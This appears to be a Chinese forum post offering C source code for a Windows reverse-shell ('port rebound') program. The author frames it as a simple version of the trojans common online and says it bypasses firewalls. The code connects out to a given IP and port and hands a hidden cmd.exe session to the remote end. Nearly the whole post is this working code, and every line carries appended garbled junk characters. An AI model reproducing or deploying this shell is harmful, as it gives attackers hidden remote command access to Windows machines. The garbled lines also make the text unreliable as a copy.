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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 UAXp;W`  
b>p_w%d[[J  
/* ============================== }:faHLYT  
Rebound port in Windows NT H(.9tuA  
By wind,2006/7 m   uO.  
===============================*/ ]2f-oz*hU  
#include #sCR}  
#include L^t%p1R  
R4;1LZ8XzS  
#pragma comment(lib,"wsock32.lib") ":+d7xR?o  
:a)RMp+^0  
void OutputShell(); V.`hk^V,  
SOCKET sClient; (v?@evQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yT OZa-  
DI8I'c-P  
void main(int argc,char **argv) ]_B<K5  
{ m33&obSP  
WSADATA stWsaData; }bw^p.ci  
int nRet; C0w_pu  
SOCKADDR_IN stSaiClient,stSaiServer; TU_'1  
2i6=g<   
if(argc != 3) }\<=B%{  
{ no-";{c  
printf("Useage:\n\rRebound DestIP DestPort\n"); sT1OAK\^  
return; ?qsLR  
} ~\-=q^/!  
cG0)F%?X?  
WSAStartup(MAKEWORD(2,2),&stWsaData); aOg9Dqtg)f  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gHp4q!SJ7  
qmpT G:+  
stSaiClient.sin_family = AF_INET; *sp")h#Z  
stSaiClient.sin_port = htons(0); <FkaH8,7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m $[:J  
M)K!!Jqh  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }!fIY7gv  
{ l5^Q  
printf("Bind Socket Failed!\n"); E^n!h06~G  
return; [MAPa  
} /z^v% l  
[r 7Hcb  
stSaiServer.sin_family = AF_INET; bhRa?wuoY  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k"[AV2UW1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #"A`:bjG  
zhow\l2t}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tpzWi W/  
{ vRaxB  
printf("Connect Error!"); kygj" @EX  
return; qYe`</  
} @+~URIG)  
OutputShell(); &0* l:uw  
} ![{/V,V]~  
2vUcSKG7  
void OutputShell() R+0fs$s u  
{ |;V-;e*  
char szBuff[1024]; ok,O/|E}?  
SECURITY_ATTRIBUTES stSecurityAttributes; 5![ILa_  
OSVERSIONINFO stOsversionInfo; ~,F]~|U7l  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BHz_1+d  
STARTUPINFO stStartupInfo; L1lDDS#  
char *szShell; +{6:]  
PROCESS_INFORMATION stProcessInformation; [Ti ' X#  
unsigned long lBytesRead; JUGq\b&m  
r.LOj6c  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  ]E :L  
7dB_q}<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,lCFe0>k!=  
stSecurityAttributes.lpSecurityDescriptor = 0; yhK9rcJq6}  
stSecurityAttributes.bInheritHandle = TRUE; A0.xPru1p  
H^B,b !5i  
,,EG"Um6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PCDvEbpG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dEf5x_TGm  
gi:M=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9-A@2&J1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "j&p3  
stStartupInfo.wShowWindow = SW_HIDE; +=L+35M  
stStartupInfo.hStdInput = hReadPipe; Q.8^F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _Co v>6_i  
}]=A:*jD  
GetVersionEx(&stOsversionInfo); <T'fJcR  
C]zgVbu  
switch(stOsversionInfo.dwPlatformId) 1-4[w *u>  
{ h4slQq~K  
case 1: ,pZz`B#  
szShell = "command.com"; 2gvS`+<TP  
break; I2z7}*<u  
default: |~Awm"  
szShell = "cmd.exe"; %74f6\  
break; >Zf*u;/dW$  
} b?9'-hK<  
=/xXB  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z%6egi>  
N7s9"i  
send(sClient,szMsg,77,0); lvk*Db$  
while(1) Oh}@c~7;  
{ cwUor}<|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,b+Hy`t  
if(lBytesRead) =Y3d~~  
{ d?CU+=A&|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 127@ TN"  
send(sClient,szBuff,lBytesRead,0); Oo\~' I  
} b\t@vMJ  
else z8};(I>)  
{ wz'in  
lBytesRead=recv(sClient,szBuff,1024,0); \>eFs} Y/  
if(lBytesRead<=0) break; B7'2@+(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t6+>Zr  
} C|ou7g4'p  
} S7hfwu&7F  
1T3YFt@&I  
return; } M\G  
}
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